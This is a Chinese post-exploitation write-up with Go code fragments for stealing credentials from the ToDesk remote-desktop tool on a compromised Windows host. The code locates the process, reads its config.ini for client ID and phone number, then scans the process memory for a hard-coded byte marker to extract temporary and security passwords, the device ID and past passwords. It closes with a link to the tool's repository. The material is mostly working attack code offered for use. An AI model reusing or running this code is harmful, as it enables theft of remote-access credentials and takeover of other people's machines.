应用内存中的后渗透利用-远程工具密码读取

tasklist | find /i "todesk"

execPath, err := getExecutablePath(int(*pid))if err != nil {    fmt.Printf("无法获取PID %d的可执行文件路径: %vn", *pid, err)    return}

// 获取目录路径dir := filepath.Dir(execPath)configPath := filepath.Join(dir, "config.ini")// 读取并输出config.ini中的字段clientId, version, loginPhone, authMode, err := readConfig(configPath)if err != nil {    fmt.Println("无法读取config.ini文件:", err)    return}// 输出结果fmt.Println("nID:", clientId)fmt.Println("Version:", version)fmt.Println("LoginPhone:", loginPhone)

if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P {    // 创建缓冲区用于读取内存    buffer := make([]byte, mbi.RegionSize)    var bytesRead uintptr    readP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))    // 在内存块中查找目标字符串    index := bytes.Index(buffer, searchBytes)    if index != -1 {        // 计算前 1024 字节的起始地址        start := index - 1024        if start < 0 {            start = 0        }        // 提取前1024字节内容        data := buffer[start : index+len(searchBytes)]        // 从数据中提取所有字符串        foundStrings := extractStrings(data)

if authMode == "0" {    fmt.Println("n目标仅使用临时密码登陆")    fmt.Println("临时密码:", data[0])} else if authMode == "1" {    fmt.Println("n目标仅使用安全密码登陆")    fmt.Println("临时密码: ", data[0])    fmt.Println("安全密码: ", data[1])} else {    fmt.Println("n临时密码和安全密码都可以使用")    fmt.Println("临时密码: ", data[0])    fmt.Println("安全密码: ", data[1])}

<f f=yahei.28 c=color_edit >xxxxxx</f>

buffer := make([]byte, mbi.RegionSize)var bytesRead uintptrreadP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))// "<f f=yahei.28 c=color_edit >"searchBytes := []byte{    0x3C, 0x66, 0x20, 0x66, 0x3D, 0x79, 0x61, 0x68, 0x65, 0x69, 0x2E, 0x32, 0x38, 0x20, 0x63, 0x3D,    0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x65, 0x64, 0x69, 0x74, 0x20, 0x3E,}// "</f>" 的16进制endTag := []byte{0x3C, 0x2F, 0x66, 0x3E}

// 检查字符串是否以 "</f>" 结尾if bytes.Equal(buffer[endOfString:endOfString+len(endTag)], endTag) {    // 如果是13位字符串，且不包含 `<`，则记录为 ID    if length == 13 && !bytes.Contains(extractedString, []byte("<")) {        id = string(extractedString)    }    if length >= 6 && length <= 8 {        if _, exists := allPasswordsMap[string(extractedString)]; !exists {            allPasswordsMap[string(extractedString)] = true         }        if mbi.BaseA+uintptr(index) > lastPasswordAddress {            lastPassword = string(extractedString)            lastPasswordAddress = mbi.BaseA + uintptr(index)        }    }}

// 输出最后找到的密码和 IDif id != "" {    fmt.Printf("识别码: %sn", id)}if lastPassword != "" {    fmt.Printf("密码: %s n", lastPassword)}// 输出去重后的历史密码if len(allPasswordsMap) > 0 {    fmt.Println("n历史密码:")    for pwd := range allPasswordsMap {        fmt.Println(pwd)    }}fmt.Println("n密码如果不对就从历史密码里尝试...")

https://github.com/milu001/sundeskQ